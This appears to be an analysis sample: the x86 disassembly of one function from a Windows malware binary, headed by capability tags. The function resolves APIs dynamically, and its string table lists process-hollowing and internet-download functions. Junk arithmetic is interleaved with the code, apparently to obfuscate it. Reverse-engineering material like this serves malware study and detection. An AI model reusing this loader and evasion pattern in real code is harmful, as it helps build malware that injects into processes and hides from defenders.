Function at 0x401440
Capabilities:
Create process on windows
Get system information on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
mov dword [ebp - 0x13c], 0x73
xor eax, eax
test eax, eax
je 0x40146e
push 5
push 0
push 0
push 0
push 0x408340
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x40ac00], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x108], 0xaa0
push 0x104
lea ecx, [ebp - 0x104]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.GetProcAddress
mov edx, dword [0x40ac00]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40afb8], eax
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x148], 6
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x110], 0x1197
push 0x40831c
push str.kernel32.dllGetProcAddressLoadLibraryAntdll.dllwininet.dllole32.dllshell32.dllGetModuleHandleAWriteProcessMemoryCreateProcessWSetThreadContextGetThreadContextResumeThreadFindResourceALoadResourceSizeofResourceVirtualAllocExNtUnmapViewOfSectionContinueDebugEventWaitForDebugEventReadProcessMemoryCreateToolhelp32SnapshotModule32FirstOutputDebugStringACloseHandleExitProcessGetCurrentProcessCreateThreadWaitForSingleObjectSetFileAttributesWInternetOpenAInternetOpenUrlAInternetReadFileDeleteUrlCacheEntryInternetCloseHandleGlobalFreeGlobalAllocSetUnhandledExceptionFilterMultiByteToWideCharSHGetSpecialFolderPathWCoInitializeCoCreateInstancelstrcpyWlstrcatWGetModuleFileNameW
call fcn.004011c0
add esp, 8
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x144], 0xc37
cmp dword [ebp - 0x10c], 0
je 0x401c7d
mov eax, dword [0x40af3c]
xor edx, edx
mov ecx, 0x37
div ecx
mov eax, dword [0x40b1dc]
sub eax, 0x3a
imul edx, eax
mov dword [0x40b1dc], edx
mov ecx, dword [ebp - 0x138]
add ecx, 1
mov dword [ebp - 0x138], ecx
mov eax, dword [0x40b1dc]
cdq
mov ecx, 0xd
idiv ecx
mov eax, dword [0x40af3c]
imul eax, edx
mov dword [0x40b1dc], eax
cmp dword [ebp - 0x138], 3
jne 0x401583
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40af44], eax
mov dword [ebp - 0x184], 0x2260
cmp dword [ebp - 0x138], 4
jne 0x4015a8
mov eax, dword [ebp - 0x10c]
push eax
call dword [0x40af44]
mov dword [0x40af24], eax
mov dword [ebp - 0x180], 0x57
cmp dword [ebp - 0x138], 5
jne 0x4015cd
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [0x40af44]
mov dword [0x40af40], eax
mov dword [ebp - 0x150], 0x50
cmp dword [ebp - 0x138], 6
jne 0x4015f2
mov edx, dword [ebp - 0x10c]
push edx
call dword [0x40af44]
mov dword [0x40af28], eax
mov eax, dword [0x40b1dc]
cdq
mov ecx, 0x57
idiv ecx
mov dword [0x40af3c], eax
cmp dword [ebp - 0x138], 7
jne 0x40161f
mov edx, dword [ebp - 0x10c]
push edx
call dword [0x40af44]
mov dword [0x40af54], eax
mov dword [ebp - 0x17c], 0x53
cmp dword [ebp - 0x138], 8
jne 0x40164b
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [0x40ac00]
push ecx
call dword [0x40afb8]
mov dword [0x40af4c], eax
mov dword [ebp - 0x178], 0x47
cmp dword [ebp - 0x138], 9
jne 0x401676
mov edx, dword [ebp - 0x10c]
push edx
mov eax, dword [0x40ac00]
push eax
call dword [0x40afb8]
mov dword [0x40afbc], eax
mov dword [ebp - 0x19c], 2
cmp dword [ebp - 0x138], 0xa
jne 0x4016a2
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40afc4], eax
mov eax, dword [0x40af3c]
xor edx, edx
mov ecx, 0x4f
div ecx
mov eax, dword [0x40b1dc]
sub eax, 0x5b
imul edx, eax
mov dword [0x40b1dc], edx
cmp dword [ebp - 0x138], 0xb
jne 0x4016e3
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40afa4], eax
mov eax, dword [0x40af3c]
xor edx, edx
mov ecx, 0x5b
div ecx
mov eax, dword [0x40b1dc]
add eax, edx
mov dword [0x40af3c], eax
cmp dword [ebp - 0x138], 0xc
jne 0x40171f
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40af20], eax
mov dword [ebp - 0x14c], 0x45
cmp dword [ebp - 0x138], 0xd
jne 0x40174b
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [0x40ac00]
push ecx
call dword [0x40afb8]
mov dword [0x40af58], eax
mov dword [ebp - 0x15c], 0x61
cmp dword [ebp - 0x138], 0xe
jne 0x401776
mov edx, dword [ebp - 0x10c]
push edx
mov eax, dword [0x40ac00]
push eax
call dword [0x40afb8]
mov dword [0x40ac2c], eax
mov dword [ebp - 0x1b8], 0x5b
cmp dword [ebp - 0x138], 0xf
jne 0x4017a2
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40b1f0], eax
mov dword [ebp - 0x174], 0x40
cmp dword [ebp - 0x138], 0x10
jne 0x4017ce
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [0x40ac00]
push ecx
call dword [0x40afb8]
mov dword [0x40afb0], eax
mov dword [ebp - 0x1a0], 0x85
cmp dword [ebp - 0x138], 0x11
jne 0x4017f9
mov edx, dword [ebp - 0x10c]
push edx
mov eax, dword [0x40ac00]
push eax
call dword [0x40afb8]
mov dword [0x40ac28], eax
mov eax, dword [0x40af3c]
xor edx, edx
mov ecx, 0x4c
div ecx
mov eax, dword [0x40b1dc]
add eax, edx
mov dword [0x40af3c], eax
cmp dword [ebp - 0x138], 0x12
jne 0x401835
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40af24]
push edx
call dword [0x40afb8]
mov dword [0x40af18], eax
mov eax, dword [0x40b1dc]
cdq
mov ecx, 0x18
idiv ecx
mov dword [0x40af3c], eax
cmp dword [ebp - 0x138], 0x13
jne 0x401868
mov edx, dword [ebp - 0x10c]
push edx
mov eax, dword [0x40ac00]
push eax
call dword [0x40afb8]
mov dword [0x40af1c], eax
mov dword [ebp - 0x198], 0x43
cmp dword [ebp - 0x138], 0x14
jne 0x401894
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40afa8], eax
mov dword [ebp - 0x194], 0x5f
cmp dword [ebp - 0x138], 0x15
jne 0x4018c0
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [0x40ac00]
push ecx
call dword [0x40afb8]
mov dword [0x40af10], eax
mov dword [ebp - 0x158], 0x25
cmp dword [ebp - 0x138], 0x16
jne 0x4018eb
mov edx, dword [ebp - 0x10c]
push edx
mov eax, dword [0x40ac00]
push eax
call dword [0x40afb8]
mov dword [0x40af50], eax
mov dword [ebp - 0x18c], 0x24
cmp dword [ebp - 0x138], 0x17
jne 0x401917
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40b1e0], eax
mov dword [ebp - 0x164], 0x360
cmp dword [ebp - 0x138], 0x18
jne 0x401943
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [0x40ac00]
push ecx
call dword [0x40afb8]
mov dword [0x40af38], eax
mov dword [ebp - 0x154], 1
cmp dword [ebp - 0x138], 0x19
jne 0x40196e
mov edx, dword [ebp - 0x10c]
push edx
mov eax, dword [0x40ac00]
push eax
call dword [0x40afb8]
mov dword [0x40afac], eax
mov dword [ebp - 0x160], 0xb00
cmp dword [ebp - 0x138], 0x1a
jne 0x40199a
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40af2c], eax
mov dword [ebp - 0x188], 2
cmp dword [ebp - 0x138], 0x1b
jne 0x4019c6
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [0x40ac00]
push ecx
call dword [0x40afb8]
mov dword [0x40b1e8], eax
mov dword [ebp - 0x1a8], 0x28
cmp dword [ebp - 0x138], 0x1c
jne 0x4019f1
mov edx, dword [ebp - 0x10c]
push edx
mov eax, dword [0x40ac00]
push eax
call dword [0x40afb8]
mov dword [0x40afb4], eax
mov eax, dword [0x40af3c]
xor edx, edx
mov ecx, 0x1e
div ecx
mov eax, dword [0x40b1dc]
sub eax, 0x5a
imul edx, eax
mov dword [0x40b1dc], edx
cmp dword [ebp - 0x138], 0x1d
jne 0x401a32
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40b1f8], eax
mov dword [ebp - 0x1b4], 4
cmp dword [ebp - 0x138], 0x1e
jne 0x401a5e
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [0x40ac00]
push ecx
call dword [0x40afb8]
mov dword [0x40af34], eax
mov eax, dword [0x40af3c]
xor edx, edx
mov ecx, 0x44
div ecx
mov eax, dword [0x40b1dc]
add eax, edx
mov dword [0x40af3c], eax
cmp dword [ebp - 0x138], 0x24
jne 0x401a9a
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40b1fc], eax
mov eax, dword [0x40b1dc]
cdq
mov ecx, 0x64
idiv ecx
mov eax, dword [0x40af3c]
imul eax, edx
mov dword [0x40b1dc], eax
cmp dword [ebp - 0x138], 0x25
jne 0x401ad6
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40afd0], eax
mov dword [ebp - 0x1b0], 0x25
cmp dword [ebp - 0x138], 0x26
jne 0x401b02
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [0x40ac00]
push ecx
call dword [0x40afb8]
mov dword [0x40ac38], eax
mov eax, dword [0x40af3c]
xor edx, edx
mov ecx, 0x4e
div ecx
mov eax, dword [0x40b1dc]
sub eax, 0x58
imul edx, eax
mov dword [0x40b1dc], edx
cmp dword [ebp - 0x138], 0x27
jne 0x401b43
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40b1e4], eax
mov dword [ebp - 0x170], 0x39
cmp dword [ebp - 0x138], 0x28
jne 0x401b6f
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [0x40af54]
push ecx
call dword [0x40afb8]
mov dword [0x40ac24], eax
mov dword [ebp - 0x168], 0x5b
cmp dword [ebp - 0x138], 0x29
jne 0x401b9a
mov edx, dword [ebp - 0x10c]
push edx
mov eax, dword [0x40af28]
push eax
call dword [0x40afb8]
mov dword [0x40afc8], eax
mov eax, dword [0x40b1dc]
cdq
mov ecx, 0x5e
idiv ecx
mov eax, dword [0x40af3c]
imul eax, edx
mov dword [0x40b1dc], eax
cmp dword [ebp - 0x138], 0x2a
jne 0x401bd6
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40af28]
push edx
call dword [0x40afb8]
mov dword [0x40af14], eax
mov dword [ebp - 0x1ac], 0x59
cmp dword [ebp - 0x138], 0x2b
jne 0x401c02
mov eax, dword [ebp - 0x10c]
push eax
mov ecx, dword [0x40ac00]
push ecx
call dword [0x40afb8]
mov dword [0x40ac20], eax
mov dword [ebp - 0x16c], 0xe5b
cmp dword [ebp - 0x138], 0x2c
jne 0x401c2d
mov edx, dword [ebp - 0x10c]
push edx
mov eax, dword [0x40ac00]
push eax
call dword [0x40afb8]
mov dword [0x40af48], eax
mov dword [ebp - 0x1a4], 0x4b
cmp dword [ebp - 0x138], 0x2d
jne 0x401c59
mov ecx, dword [ebp - 0x10c]
push ecx
mov edx, dword [0x40ac00]
push edx
call dword [0x40afb8]
mov dword [0x40af0c], eax
mov dword [ebp - 0x190], 0x71c
push 0x40831c
push 0
call fcn.004011c0
add esp, 8
mov dword [ebp - 0x10c], eax
jmp 0x40150c
xor eax, eax
mov esp, ebp
pop ebp
ret